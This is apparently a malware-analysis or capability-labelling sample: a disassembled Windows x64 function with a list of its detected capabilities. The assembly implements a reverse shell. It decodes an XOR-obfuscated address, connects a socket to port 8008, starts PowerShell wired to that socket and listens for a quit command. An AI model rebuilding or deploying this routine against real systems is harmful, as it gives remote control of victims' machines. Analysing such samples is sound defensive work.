Function at 0x1800010d0
Capabilities:
Connect socket
Create a process with modified i/o handles and window
Create process on windows
Encode data using xor
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x9c0]
sub rsp, 0xac0
mov rax, qword [0x18001d008]
xor rax, rsp
mov qword [rbp + 0x9b0], rax
mov eax, dword [0x18001b528]
lea rcx, [rbp + 0x190]
movsd xmm0, qword [str.dszdydy]
mov dword [rbp + 0x198], eax
movzx eax, word [0x18001b52c]
mov word [rbp + 0x19c], ax
mov rax, 0xffffffffffffffff
movsd qword [rbp + 0x190], xmm0
inc rax
cmp byte [rcx + rax], 0
jne 0x180001140
xor esi, esi
movsxd rdi, eax
test eax, eax
jle 0x180001184
mov ebx, esi
nop dword [rax]
nop dword [rax + rax]
xor byte [rbp + rbx + 0x190], 0x4a
lea rcx, [0x18001b530]
movsx edx, byte [rbp + rbx + 0x190]
call fcn.180001010
inc rbx
cmp rbx, rdi
jl 0x180001160
mov r14d, 2
lea r15, [0x18001b54c]
lea r12, str.l.ex
lea r13, str.shel
lea rdi, str.quit_n
call fcn.180003844
mov ecx, eax
mov eax, 0x68db8bad
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1388
sub ecx, eax
add ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x202
lea rdx, [rbp - 0x10]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r9d, r9d
mov dword [rsp + 0x28], esi
mov ecx, r14d
mov dword [rsp + 0x20], esi
lea edx, [r9 + 1]
lea r8d, [r9 + 6]
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov ecx, 0x1f48
mov word [rbp - 0x20], r14w
mov rbx, rax
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, [rbp + 0x190]
mov word [rbp - 0x1e], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
xor r9d, r9d
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
lea rdx, [rbp - 0x20]
mov rcx, rbx
mov dword [rbp - 0x1c], eax
mov qword [rsp + 0x20], rsi
lea r8d, [r9 + 0x10]
call qword [sym.imp.WS2_32.dll_WSAConnect]
cmp eax, 0xffffffff
jne 0x180001260
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x1800011a6
xor eax, eax
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r12
lea r9, str.power
lea r8, str._s_s_s_s
mov qword [rbp + 0x1a0], rax
lea rcx, [rbp + 0x1a0]
mov dword [rbp + 0x1a8], eax
lea edx, [rax + 0xf]
mov word [rbp + 0x1ac], ax
mov byte [rbp + 0x1ae], al
mov qword [rsp + 0x20], r13
call fcn.180001070
xorps xmm0, xmm0
mov qword [rbp - 0x30], rbx
movups xmmword [rbp - 0x40], xmm0
lea rax, [rsp + 0x50]
mov qword [rbp - 0x38], rbx
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x1a0]
lea rax, [rsp + 0x70]
mov qword [rbp - 0x40], rbx
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rsi
xor r8d, r8d
mov qword [rsp + 0x30], rsi
xor ecx, ecx
movups xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x28], esi
movups xmmword [rbp - 0x60], xmm0
mov dword [rsp + 0x20], 1
movups xmmword [rbp - 0x80], xmm0
mov dword [rsp + 0x70], 0x68
movups xmmword [rbp - 0x70], xmm0
mov dword [rbp - 0x54], 0x101
movups xmmword [rbp - 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x50]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
lea rcx, [rbp + 0x1b0]
mov r8d, 0x800
call fcn.180002530
xor r9d, r9d
lea rdx, [rbp + 0x1b0]
mov r8d, 0x800
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x180001389
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x1800011a6
mov rax, rsi
lea rdx, [rbp + 0x1b0]
movzx ecx, byte [rdx + rax]
inc rax
cmp cl, byte [rdi + rax - 1]
jne 0x1800011a6
cmp rax, 6
jne 0x180001393
xor ecx, ecx
call fcn.180003690
int3